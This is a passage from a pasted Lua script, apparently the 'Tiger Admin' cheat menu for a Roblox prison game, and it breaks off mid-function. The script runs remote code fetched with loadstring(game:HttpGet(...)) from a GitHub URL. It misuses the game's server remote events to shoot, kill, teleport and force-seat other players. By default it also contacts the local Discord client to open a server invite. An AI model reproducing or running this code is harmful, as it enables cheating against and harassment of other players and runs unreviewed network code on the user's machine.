R

tiger admin revamp by me

public
rrixh Feb 27, 2024 Never 525
Clone
Plaintext tigeradmin-RevampBylulaslollipop 4171 lines (4076 loc) | 147.02 KB
1
2
3
4
if not getconnections or not hookmetamethod or not getnamecallmethod or not ((getgenv and getgenv()) or _G) then
5
game:GetService("StarterGui"):SetCore("SendNotification", {Title = "Tiger Admin",Text = "Executor is not supported!",Duration = 10,})
6
end
7
if not workspace:FindFirstChild("Criminals Spawn") or not workspace:FindFirstChild("Criminals Spawn"):FindFirstChild("SpawnLocation") then
8
game:GetService("StarterGui"):SetCore("SendNotification", {Title = "Tiger Admin",Text = "Criminals spawn not found! Please rejoin.",Duration = 10,})
9
end
10
game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
11
if game:FindFirstChild("Tiger_revamp_loaded") then ((getgenv and getgenv()) or _G).NotifTiger("Tiger admin is already executed!",false) return warn("Already loaded") end
12
local Player, plr,Folder = game:GetService("Players").LocalPlayer, game:GetService("Players").LocalPlayer,Instance.new("Folder",game)
13
local OldHook, hookmetamethod, getnamecallmethod = nil, hookmetamethod, getnamecallmethod
14
local HasGamepass,UserInputService = game:GetService("MarketplaceService"):UserOwnsGamePassAsync(Player.UserId, 96651),game:GetService("UserInputService")
15
local GlobalVar = ((getgenv and getgenv()) or _G)
16
local Unloaded = false
17
local CriminalCFRAME = workspace["Criminals Spawn"].SpawnLocation.CFrame
18
local API_Prem = loadstring(game:HttpGet("https://raw.githubusercontent.com/dalloc2/Roblox/main/Listing.lua"))()
19
local PremiumActivated = API_Prem.CheckPremium()
20
21
local Temp = {}
22
local API = {}
23
local Reload_Guns = {}
24
local Prefix = "!"
25
26
--------
27
Folder.Name = "Tiger_revamp_loaded"
28
ScreenGui = Instance.new("ScreenGui")
29
CmdBarFrame = Instance.new("Frame")
30
UICorner = Instance.new("UICorner")
31
Out = Instance.new("ImageLabel")
32
UICorner_2 = Instance.new("UICorner")
33
CommandBar = Instance.new("TextBox")
34
UIStroke = Instance.new("UIStroke")
35
Commands = Instance.new("ImageLabel")
36
UICorner_3 = Instance.new("UICorner")
37
UIStroke_2 = Instance.new("UIStroke")
38
CommandsList = Instance.new("ScrollingFrame")
39
UIListLayout = Instance.new("UIListLayout")
40
TEMP_CMD = Instance.new("TextLabel")
41
SearchBar = Instance.new("TextBox")
42
ScreenGui.Parent = (game:GetService("CoreGui") or gethui())
43
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
44
ScreenGui.Name = math.random()
45
46
CmdBarFrame.Name = "CmdBarFrame"
47
CmdBarFrame.Parent = ScreenGui
48
CmdBarFrame.AnchorPoint = Vector2.new(0.5, 0.5)
49
CmdBarFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
50
CmdBarFrame.BackgroundTransparency = 1.000
51
CmdBarFrame.BorderSizePixel = 0
52
CmdBarFrame.Position = UDim2.new(0.5, 0, 0.899999998, 0)
53
CmdBarFrame.Position = CmdBarFrame.Position+UDim2.new(0,0,1.1,0)
54
CmdBarFrame.Size = UDim2.new(0, 577, 0, 65)
55
56
UICorner.CornerRadius = UDim.new(0, 3)
57
UICorner.Parent = CmdBarFrame
58
Temp.Esps = {}
59
do
60
CmdsIcon = Instance.new("ImageLabel")
61
UICornera = Instance.new("UICorner")
62
UIStroke12 = Instance.new("UIStroke")
63
CmdButton = Instance.new("ImageButton")
64
65
CmdsIcon.Name = "CmdsIcon"
66
CmdsIcon.Parent = CmdBarFrame
67
CmdsIcon.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
68
CmdsIcon.Position = UDim2.new(-0.132423401, 0, 0.0226149559, 0)
69
CmdsIcon.Size = UDim2.new(0.121672593, 0, 0.945454538, 0)
70
CmdsIcon.Image = "rbxassetid://12661800163"
71
CmdsIcon.ImageTransparency = 0.030
72
73
UICornera.CornerRadius = UDim.new(0, 6)
74
UICornera.Parent = CmdsIcon
75
76
UIStroke12.Parent = CmdsIcon
77
78
CmdButton.Name = "CmdButton"
79
CmdButton.Parent = CmdsIcon
80
CmdButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
81
CmdButton.BackgroundTransparency = 1.000
82
CmdButton.Position = UDim2.new(0.298999995, 0, 0.27700001, 0)
83
CmdButton.Size = UDim2.new(0, 27, 0, 27)
84
CmdButton.Image = "rbxassetid://11570802781"
85
CmdButton.ImageTransparency = 0.430
86
CmdButton.MouseButton1Up:Connect(function()
87
if not Temp.CmdsC then
88
Temp.CmdsC = true
89
if Commands.Visible == false then
90
Commands:TweenPosition(SavedCmdsPosition,"Out","Quart",1)
91
Commands.Visible = true
92
else
93
Commands:TweenPosition(SavedCmdsPosition+UDim2.new(0,0,1,0),"Out","Quart",1)
94
wait(.5)
95
Commands.Visible = false
96
end
97
wait(.7)
98
Temp.CmdsC = false
99
end
100
end)
101
CmdButton.MouseEnter:Connect(function()
102
CmdButton.ImageColor3 = Color3.new(0.588235, 0.588235, 0.588235)
103
end)
104
CmdButton.MouseLeave:Connect(function()
105
CmdButton.ImageColor3 = Color3.new(1, 1, 1)
106
end)
107
end
108
do
109
Toggles = Instance.new("ImageLabel")
110
local Stokeee = Instance.new("UIStroke")
111
local Corrrer = Instance.new("UICorner")
112
local ToggleScroll = Instance.new("ScrollingFrame")
113
local kewkfwe = Instance.new("UIListLayout")
114
local tempb = Instance.new("TextButton")
115
local UIStroke = Instance.new("UIStroke")
116
local UICorner = Instance.new("UICorner")
117
118
Toggles.Name = "Toggles"
119
Toggles.Parent = ScreenGui
120
Toggles.AnchorPoint = Vector2.new(0.5, 0.5)
121
Toggles.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
122
Toggles.Position = UDim2.new(0.499593854, 0, 0.499376595, 0)+UDim2.new(0,0,1,0)
123
Toggles.Size = UDim2.new(0, 539, 0, 409)
124
Toggles.Visible = false
125
Toggles.Image = "rbxassetid://12011977394"
126
Toggles.ImageTransparency = 0.260
127
128
Stokeee.Parent = Toggles
129
Stokeee.Name = "Stokeee"
130
131
Corrrer.Name = "Corrrer"
132
Corrrer.Parent = Toggles
133
134
ToggleScroll.Name = "ToggleScroll"
135
ToggleScroll.Parent = Toggles
136
ToggleScroll.Active = true
137
ToggleScroll.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
138
ToggleScroll.BackgroundTransparency = 1.000
139
ToggleScroll.Size = UDim2.new(0, 539, 0, 408)
140
ToggleScroll.ScrollBarThickness = 4
141
142
kewkfwe.Name = "kewkfwe"
143
kewkfwe.Parent = ToggleScroll
144
kewkfwe.SortOrder = Enum.SortOrder.LayoutOrder
145
kewkfwe.Padding = UDim.new(0, 5)
146
147
tempb.Name = "tempb"
148
tempb.Parent = ScreenGui
149
tempb.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
150
tempb.BackgroundTransparency = 0.550
151
tempb.Position = UDim2.new(0, 0, -7.47979882e-08, 0)
152
tempb.Size = UDim2.new(0, 539, 0, 44)
153
tempb.Visible = false
154
tempb.Font = Enum.Font.SourceSans
155
tempb.Text = "Autorespawn [OFF]"
156
tempb.TextColor3 = Color3.fromRGB(255, 255, 255)
157
tempb.TextSize = 14.000
158
159
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
160
UIStroke.Parent = tempb
161
162
UICorner.CornerRadius = UDim.new(0, 3)
163
UICorner.Parent = tempb
164
165
end
166
167
Out.Name = "Out"
168
Out.Parent = CmdBarFrame
169
Out.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
170
Out.Position = UDim2.new(0.0200897697, 0, 0.022615375, 0)
171
Out.Size = UDim2.new(0.974358976, 0, 0.945454538, 0)
172
Out.Image = "rbxassetid://11789397066"
173
Out.ImageTransparency = 0.240
174
175
UICorner_2.CornerRadius = UDim.new(0, 6)
176
UICorner_2.Parent = Out
177
178
CommandBar.Name = "CommandBar"
179
CommandBar.Parent = Out
180
CommandBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
181
CommandBar.BackgroundTransparency = 1.000
182
CommandBar.BorderSizePixel = 0
183
CommandBar.Position = UDim2.new(0.0359953903, 0, 0.128254473, 0)
184
CommandBar.Size = UDim2.new(0, 519, 0, 46)
185
CommandBar.Font = Enum.Font.SourceSans
186
CommandBar.PlaceholderColor3 = Color3.fromRGB(178, 178, 178)
187
CommandBar.PlaceholderText = "Command bar"
188
CommandBar.Text = ""
189
CommandBar.TextColor3 = Color3.fromRGB(255, 255, 255)
190
CommandBar.TextSize = 24.000
191
CommandBar.TextTransparency = 0.140
192
CommandBar.TextWrapped = true
193
194
UIStroke.Parent = Out
195
196
Commands.Name = "Commands"
197
Commands.Parent = ScreenGui
198
Commands.AnchorPoint = Vector2.new(0.5, 0.5)
199
Commands.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
200
Commands.Position = UDim2.new(0.5, 0, 0.5, 0)
201
Commands.Size = UDim2.new(0, 455, 0, 297)
202
Commands.Image = "rbxassetid://12011977394"
203
Commands.ImageTransparency = 0.200
204
Commands.Visible = false
205
206
UICorner_3.CornerRadius = UDim.new(0, 6)
207
UICorner_3.Parent = Commands
208
209
UIStroke_2.Parent = Commands
210
211
CommandsList.Parent = Commands
212
CommandsList.Active = true
213
CommandsList.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
214
CommandsList.BackgroundTransparency = 1.000
215
CommandsList.Position = UDim2.new(0, 0, 0.077441074, 0)
216
CommandsList.Size = UDim2.new(0, 455, 0, 274)
217
CommandsList.ScrollBarThickness = 5
218
CommandsList.AutomaticCanvasSize="Y"
219
UIListLayout.Parent = CommandsList
220
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
221
UIListLayout.Padding = UDim.new(0, 8)
222
223
TEMP_CMD.Parent = Folder
224
TEMP_CMD.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
225
TEMP_CMD.BackgroundTransparency = 0.750
226
TEMP_CMD.Size = UDim2.new(0, 455, 0, 14)
227
TEMP_CMD.Font = Enum.Font.SourceSans
228
TEMP_CMD.Text = "sex"--//yes
229
TEMP_CMD.TextColor3 = Color3.fromRGB(255, 255, 255)
230
TEMP_CMD.TextSize = 14.000
231
SavedCmdsPosition = Commands.Position
232
SearchBar.Parent = Commands
233
SearchBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
234
SearchBar.BackgroundTransparency = 1.000
235
SearchBar.Size = UDim2.new(0, 455, 0, 17)
236
SearchBar.Font = Enum.Font.SourceSans
237
SearchBar.PlaceholderColor3 = Color3.fromRGB(178, 178, 178)
238
SearchBar.PlaceholderText = "Search here"
239
SearchBar.Text = ""
240
SearchBar.TextColor3 = Color3.fromRGB(234, 234, 234)
241
SearchBar.TextSize = 14.000
242
243
Folder.Parent = game
244
245
do
246
--Load guis
247
game:GetService("ContentProvider"):PreloadAsync({
248
Commands,
249
Out,
250
})
251
end
252
253
for i,v in pairs(ScreenGui:GetDescendants()) do v.Name = game:GetService("HttpService"):GenerateGUID(true) end
254
local AmmountCurrent = 0
255
local commandsLol = {}
256
function API:CreateCmd(Header, Description, Callback,IsHide,Extra,IsPre,plsdonotlower)
257
local CloneTXT = TEMP_CMD:Clone()
258
CloneTXT.Text = Prefix..Header.." "..(Extra or "").." | "..Description
259
if IsHide then
260
CloneTXT.Parent =nil
261
else
262
CloneTXT.Parent = CommandsList
263
end
264
if IsPre then
265
CloneTXT.TextColor3 = Color3.new(1, 0.796078, 0.0666667)
266
end
267
AmmountCurrent=AmmountCurrent+1
268
commandsLol[Header] = Callback
269
local function FactCheck(TheText)
270
if Unloaded then return end
271
local Text = nil
272
if not plsdonotlower then
273
Text=TheText:lower()
274
else
275
Text = TheText
276
end
277
local Split = Text:split(" ")
278
local First = Split[1]
279
local Second = Split[2]
280
281
if First:lower() == Header:lower() or First:lower() == Prefix..Header:lower() then
282
local a,b = pcall(function()
283
Callback(Split)
284
end)
285
if not a and b then
286
warn("--> TIGER ADMIN DETECTED AN ERROR")
287
warn("COMMAND: "..Prefix..Header)
288
warn("ERROR: "..tostring(b))
289
end
290
end
291
end
292
Player.Chatted:Connect(function(c)
293
if c and not Unloaded then
294
local Subbed = string.sub(c,1,1)
295
if Subbed == Prefix then
296
FactCheck(c)
297
end
298
end
299
end)
300
CommandBar.FocusLost:Connect(function(EnterKey)
301
if EnterKey and not Unloaded then
302
FactCheck(CommandBar.Text)
303
task.wait(.04)
304
CommandBar.Text = ""
305
end
306
end)
307
end
308
309
function API:Tween(Obj, Prop, New, Time)
310
if not Time then
311
Time = .5
312
end
313
local TweenService = game:GetService("TweenService")
314
local info = TweenInfo.new(
315
Time,
316
Enum.EasingStyle.Quart,
317
Enum.EasingDirection.Out,
318
0,
319
false,
320
0
321
)
322
local propertyTable = {
323
[Prop] = New,
324
}
325
326
TweenService:Create(Obj, info, propertyTable):Play()
327
end
328
function API:Notif(Text,Dur)
329
task.spawn(function()
330
if not Dur then
331
Dur = 1.5
332
end
333
local Notif = Instance.new("ScreenGui")
334
local Frame_1 = Instance.new("Frame")
335
local TextLabel = Instance.new("TextLabel")
336
Notif.Parent = (game:GetService("CoreGui") or gethui())
337
Notif.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
338
Frame_1.Parent = Notif
339
Frame_1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
340
Frame_1.BackgroundTransparency=1
341
Frame_1.BorderSizePixel = 0
342
Frame_1.Position = UDim2.new(0, 0, 0.0500000007, 0)
343
Frame_1.Size = UDim2.new(1, 0, 0.100000001, 0)
344
TextLabel.Parent = Frame_1
345
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
346
TextLabel.BackgroundTransparency = 1.000
347
TextLabel.TextTransparency =1
348
TextLabel.Size = UDim2.new(1, 0, 1, 0)
349
TextLabel.Font = Enum.Font.Highway
350
TextLabel.Text = Text or "Text not found"
351
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
352
TextLabel.TextSize = 21.000
353
API:Tween(Frame_1,"BackgroundTransparency",0.350,.5)
354
API:Tween(TextLabel,"TextTransparency",0,.5)
355
wait(Dur+.7)
356
API:Tween(Frame_1,"BackgroundTransparency",1,.5)
357
API:Tween(TextLabel,"TextTransparency",1,.5)
358
wait(.7)
359
Notif:Destroy()
360
end)
361
return
362
end
363
GlobalVar.NotifTiger = function(t,v)
364
API:Notif(t,v)
365
end
366
local States = {}
367
local Settings = {
368
Prefix = "!",
369
ValidCommands = {},
370
}
371
local OrginMenuPos = Player.PlayerGui.Home.hud.MenuButton.Position
372
local OrginGunPos = Player.PlayerGui.Home.hud.GunFrame.Position
373
do
374
States.loopkillinmates = false
375
States.loopkillcriminals = false
376
States.DraggableGuis = false
377
States.spawnguns = false
378
States.loopkillguards = false
379
States.Antishield = false
380
States.DoorsDestroy = false
381
States.antipunch = false
382
States.AutoRespawn = true
383
States.AutoItems = false
384
States.ClickKill = false
385
States.ClickArrest = false
386
States.AntiTase = false
387
States.AntiArrest = false
388
States.OnePunch = false
389
States.killaura = false
390
States.anticrash = false
391
States.AntiTouch = false
392
States.ShootBack = false
393
States.AntiFling = false
394
States.AutoInfAmmo = false
395
States.joinlogs = false
396
States.noclip = false
397
States.Godmode = false
398
States.loopopendoors = false
399
States.SilentAim = false
400
States.ArrestAura = false
401
States.OneShot = false
402
States.ff = false
403
States.esp = false
404
States.earrape = false
405
--
406
Temp.IsBringing = false
407
Temp.Loopkilling = {}
408
Temp.ArrestOldP = false
409
Temp.KillAuras = {}
410
API.Whitelisted = {}
411
Temp.Admins = {}
412
Temp.LoopmKilling = {}
413
Temp.Viruses = {}
414
Temp.SavedAdmins = {}
415
Running = false
416
end
417
418
if writefile and makefolder and readfile and isfile then
419
if isfile("Tiger Admin") == false or isfile("Tiger_Admin/Invite.json") == false then
420
makefolder("Tiger_Admin")
421
if isfile("Tiger_Admin/Invite.json") == false then
422
writefile("Tiger_Admin/Invite.json",game:GetService("HttpService"):JSONEncode({
423
Invite_To_Server = true
424
}))
425
end
426
if isfile("Tiger_Admin/SavedAdmins.json") == false then
427
writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode({}))
428
else
429
local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
430
for i,v in pairs(Content) do
431
if v then
432
table.insert(Temp.Admins, v)
433
end
434
end
435
end
436
end
437
end
438
439
task.spawn(function()
440
if writefile and makefolder and readfile and isfile then
441
if game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/Invite.json")).Invite_To_Server then
442
local Request_ = (syn and syn.request) or http_request or request
443
Request_({
444
Url = 'http://127.0.0.1:6463/rpc?v=1',
445
Method = 'POST',
446
Headers = {
447
['Content-Type'] = 'application/json',
448
Origin = 'https://discord.com'
449
},
450
Body = game:GetService("HttpService"):JSONEncode({
451
cmd = 'INVITE_BROWSER',
452
nonce = game:GetService("HttpService"):GenerateGUID(false),
453
args = {code = 'zj5xRp3ZKn'}
454
})
455
})
456
end
457
end
458
end)
459
460
function API:CreateBulletTable(Amount, Hit, IsTrue)
461
local Args = {}
462
for i = 1, tonumber(Amount) do
463
if IsTrue then
464
Args[#Args + 1] = {
465
["RayObject"] = Ray.new(Vector3.new(990.272583, 101.489975, 2362.74878), Vector3.new(-799.978333, 0.23157759, -5.88794518)),
466
["Distance"] = 198.9905242919922,
467
["Cframe"] = CFrame.new(894.362549, 101.288307, 2362.53491, -0.0123058055, 0.00259522465, -0.999920964, 3.63797837e-12, 0.999996722, 0.00259542116, 0.999924302, 3.19387436e-05, -0.0123057645),
468
}
469
else
470
Args[#Args + 1] = {
471
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
472
["Distance"] = 0,
473
["Cframe"] = CFrame.new(),
474
["Hit"] = Hit,
475
}
476
end
477
end
478
return Args
479
end
480
function DragifyGui(Frame,Is)
481
coroutine.wrap(function()
482
local dragToggle = nil
483
local dragSpeed = 0.50
484
local dragInput = nil
485
local dragStart = nil
486
local dragPos = nil
487
local startPos = nil
488
local function updateInput(input)
489
if not Is then
490
if not States.DraggableGuis then
491
return
492
end
493
end
494
local Delta = input.Position - dragStart
495
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
496
game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.30), {Position = Position}):Play()
497
end
498
Frame.InputBegan:Connect(function(input)
499
if not Is then
500
if States.DraggableGuis then
501
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and game:GetService("UserInputService"):GetFocusedTextBox() == nil then
502
dragToggle = true
503
dragStart = input.Position
504
startPos = Frame.Position
505
input.Changed:Connect(function()
506
if input.UserInputState == Enum.UserInputState.End then
507
dragToggle = false
508
end
509
end)
510
end
511
end
512
end
513
end)
514
Frame.InputChanged:Connect(function(input)
515
if States.DraggableGuis then
516
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
517
dragInput = input
518
end
519
end
520
end)
521
game:GetService("UserInputService").InputChanged:Connect(function(input)
522
if States.DraggableGuis then
523
if input == dragInput and dragToggle then
524
updateInput(input)
525
end
526
end
527
end)
528
end)()
529
end
530
DragifyGui(Out)
531
DragifyGui(Commands)
532
DragifyGui(CmdsIcon)
533
local IsBringing = false
534
function API:swait()
535
game:GetService("RunService").Stepped:Wait()
536
end
537
function API:bring(Target,TeleportTo,MoreTP,DontBreakCar)
538
local BringingFromAdmin = nil
539
if table.find(Temp.Admins,Target.Name) then
540
BringingFromAdmin = true
541
end
542
if not IsBringing and Target and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health>0 and Target.Character:FindFirstChildOfClass("Humanoid").Sit == false then
543
if not TeleportTo then
544
TeleportTo = API:GetPosition()
545
end
546
local Orgin = API:GetPosition()
547
local CarPad = workspace.Prison_ITEMS.buttons["Car Spawner"]
548
local car = nil
549
local Seat = nil
550
local Failed = false
551
local CheckForBreak = function()
552
if not Target or not Target.Character:FindFirstChildOfClass("Humanoid") or Target.Character:FindFirstChildOfClass("Humanoid").Health<1 or Player.Character:FindFirstChildOfClass("Humanoid").Health<1 then
553
Failed = true
554
return true
555
else
556
return nil
557
end
558
end
559
560
for i,v in pairs(game:GetService("Workspace").CarContainer:GetChildren()) do
561
if v then
562
if v:WaitForChild("Body"):WaitForChild("VehicleSeat").Occupant == nil then
563
car = v
564
end
565
end
566
end
567
if not car then
568
coroutine.wrap(function()
569
if not car then
570
car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
571
end
572
end)()
573
repeat wait()
574
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-524, 55, 1777))
575
task.spawn(function()
576
workspace.Remote.ItemHandler:InvokeServer(game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[7]["Car Spawner"])
577
end)
578
if CheckForBreak() then
579
break
580
end
581
until car
582
end
583
car:WaitForChild("Body"):WaitForChild("VehicleSeat")
584
car.PrimaryPart = car.Body.VehicleSeat
585
Seat = car.Body.VehicleSeat
586
repeat wait()
587
Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
588
until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
589
wait() --// so it doesnt break
590
repeat API:swait()
591
if CheckForBreak() or not Player.Character:FindFirstChildOfClass("Humanoid") or Player.Character:FindFirstChildOfClass("Humanoid").Sit == false then
592
break
593
end
594
car.PrimaryPart = car.Body.VehicleSeat
595
if Target.Character:FindFirstChildOfClass("Humanoid").MoveDirection.Magnitude >0 then
596
car:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,-.2,-6))
597
else
598
car:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,-.2,-5))
599
end
600
until Target.Character:FindFirstChildOfClass("Humanoid").Sit == true
601
if Failed then
602
API:Notif("Failed to bring the player!")
603
if BringingFromAdmin then
604
local ohString1 = "/w "..Target.Name.." ".."ADMIN: Bring has failed! Try again later."
605
local ohString2 = "All"
606
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
607
end
608
return
609
end
610
for i =1,10 do
611
car:SetPrimaryPartCFrame(TeleportTo)
612
API:swait()
613
end
614
wait(.1)
615
task.spawn(function()
616
if PremiumActivated and not DontBreakCar then
617
repeat task.wait() until Target.Character:FindFirstChildOfClass("Humanoid").Sit == false
618
repeat wait()
619
Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
620
until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
621
for i =1,10 do
622
car:SetPrimaryPartCFrame(CFrame.new(0,workspace.FallenPartsDestroyHeight+10,0))
623
API:swait()
624
end
625
API:UnSit()
626
API:MoveTo(Orgin)
627
end
628
end)
629
if not PremiumActivated then
630
API:UnSit()
631
API:MoveTo(Orgin)
632
end
633
else
634
if BringingFromAdmin then
635
local ohString1 = "/w "..Target.Name.." ".."ADMIN: Bring has failed! Try again later."
636
local ohString2 = "All"
637
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
638
639
end
640
API:Notif("Player has died or is sitting or an unknown error.")
641
end
642
end
643
644
function API:FindPlayer(String,IgnoreError)
645
String = String:gsub("%s+", "")
646
for _, v in pairs(game:GetService("Players"):GetPlayers()) do
647
if v.Name:lower():match("^" .. String:lower()) or v.DisplayName:lower():match("^" .. String:lower()) then
648
return v
649
end
650
end
651
if not IgnoreError then
652
API:Notif("Player has left or is not in your current game.",false)
653
end
654
return nil
655
end
656
function API:ConvertPosition(Position)
657
if typeof(Position):lower() == "position" then
658
return CFrame.new(Position)
659
else
660
return Position
661
end
662
end
663
664
function API:GetPart(Target)
665
game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
666
667
return Target.Character:FindFirstChild("HumanoidRootPart") or Target.Character:FindFirstChild("Head")
668
end
669
function API:GetPosition(Player)
670
game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
671
672
if Player then
673
return API:GetPart(Player).CFrame
674
elseif not Player then
675
return API:GetPart(plr).CFrame
676
end
677
end
678
function API:GetCameraPosition(Player)
679
return workspace["CurrentCamera"].CFrame
680
end
681
function API:Loop(Times, calling)
682
for i = 1, tonumber(Times) do
683
calling()
684
end
685
end
686
function PublicOutput(CODE)
687
local Args ={
688
{
689
RayObject = Ray.new(),
690
Distance = 0,
691
Cframe = CFrame.new(1,1,20000),
692
MSG = CODE,
693
PLA = Player.UserId
694
}
695
}
696
repeat task.wait() API:GetGun("M9") until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
697
local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
698
coroutine.wrap(function()
699
game:GetService("ReplicatedStorage").ShootEvent:FireServer(Args, Gun)
700
end)()
701
coroutine.wrap(function()
702
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
703
end)()
704
end
705
function API:MoveTo(Cframe)
706
Cframe = API:ConvertPosition(Cframe)
707
local Amount = 5
708
if Player.PlayerGui['Home']['hud']['Topbar']['titleBar'].Title.Text:lower() == "lights out" or Player.PlayerGui.Home.hud.Topbar.titleBar.Title.Text:lower() == "lightsout" then
709
Amount = 11
710
end
711
for i = 1, Amount do
712
API:UnSit()
713
Player.Character:WaitForChild("HumanoidRootPart").CFrame = Cframe
714
API:swait()
715
end
716
end
717
function API:WaitForRespawn(Cframe,NoForce)
718
game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
719
720
local Cframe = API:ConvertPosition(Cframe)
721
local CameraCframe = API:GetCameraPosition()
722
coroutine.wrap(function()
723
local a
724
a = Player.CharacterAdded:Connect(function(NewCharacter)
725
pcall(function()
726
coroutine.wrap(function()
727
workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Wait()
728
API:Loop(5, function()
729
workspace["CurrentCamera"].CFrame = CameraCframe
730
end)
731
end)()
732
NewCharacter:WaitForChild("HumanoidRootPart")
733
API:MoveTo(Cframe)
734
if NoForce then
735
task.spawn(function()
736
NewCharacter:WaitForChild("ForceField"):Destroy()
737
end)
738
end
739
end)
740
a:Disconnect()
741
Cframe = nil
742
end)
743
task.spawn(function()
744
wait(2)
745
if a then
746
a:Disconnect()
747
end
748
end)
749
end)()
750
end
751
function API:ChangeTeam(TeamPath,NoForce,Pos)
752
pcall(function()
753
repeat task.wait() until game:GetService("Players").LocalPlayer.Character
754
game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
755
756
API:WaitForRespawn(Pos or API:GetPosition(),NoForce)
757
end)
758
if TeamPath == game.Teams.Criminals then
759
task.spawn(function()
760
workspace.Remote.TeamEvent:FireServer("Bright orange")
761
end)
762
repeat API:swait() until Player.Team == game.Teams.Inmates and Player.Character:FindFirstChild("HumanoidRootPart")
763
repeat
764
API:swait()
765
if firetouchinterest then
766
firetouchinterest(plr.Character:FindFirstChildOfClass("Part"), game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1], 0)
767
firetouchinterest(plr.Character:FindFirstChildOfClass("Part"), game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1], 1)
768
end
769
game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].Transparency = 1
770
game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CanCollide = false
771
game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CFrame = API:GetPosition()
772
until plr.Team == game:GetService("Teams").Criminals
773
game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CFrame = CFrame.new(0, 3125, 0)
774
else
775
if TeamPath == game.Teams.Neutral then
776
workspace['Remote']['TeamEvent']:FireServer("Bright orange")
777
else
778
if not TeamPath or not TeamPath.TeamColor then
779
workspace['Remote']['TeamEvent']:FireServer("Bright orange")
780
else
781
workspace['Remote']['TeamEvent']:FireServer(TeamPath.TeamColor.Name)
782
end
783
end
784
end
785
end
786
function API:FindString(String,Table)
787
String = String:gsub("%s+", "")
788
for m, n in pairs(Table) do
789
if n:lower():match("^" .. String:lower()) then
790
return n
791
end
792
end
793
return nil
794
end
795
function API:Refresh(NoForce,Position)
796
API:ChangeTeam(plr.Team,NoForce,Position)
797
end
798
function API:UnSit()
799
game:GetService("Players").LocalPlayer.Character:WaitForChild("Humanoid").Sit = false
800
end
801
function API:KillPlayer(Target,Failed,DoChange)
802
local Bullets = API:CreateBulletTable(20,(Target.Character:FindFirstChild("Head") or Target.Character:FindFirstChildOfClass("Part")))
803
if not Target or not Target.Character or not Target.Character:FindFirstChildOfClass("Humanoid") or Target.Character:FindFirstChildOfClass("Humanoid").Health <1 then
804
return
805
end
806
repeat API:swait() until not Target.Character:FindFirstChildOfClass("ForceField")
807
local CurrentTeam = nil
808
if Target.Team == Player.Team then
809
if Target.Team~= game.Teams.Criminals then
810
CurrentTeam = Player.Team
811
API:ChangeTeam(game.Teams.Criminals,true)
812
elseif Target.Team == game.Teams.Criminals then
813
CurrentTeam = Player.Team
814
API:ChangeTeam(game.Teams.Inmates,true)
815
end
816
end
817
818
local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
819
API:GetGun("Remington 870")
820
repeat API:swait()Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
821
task.spawn(function()
822
game:GetService("ReplicatedStorage").ShootEvent:FireServer(Bullets, Gun)
823
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
824
end)
825
coroutine.wrap(function()
826
wait(.7)
827
pcall(function()
828
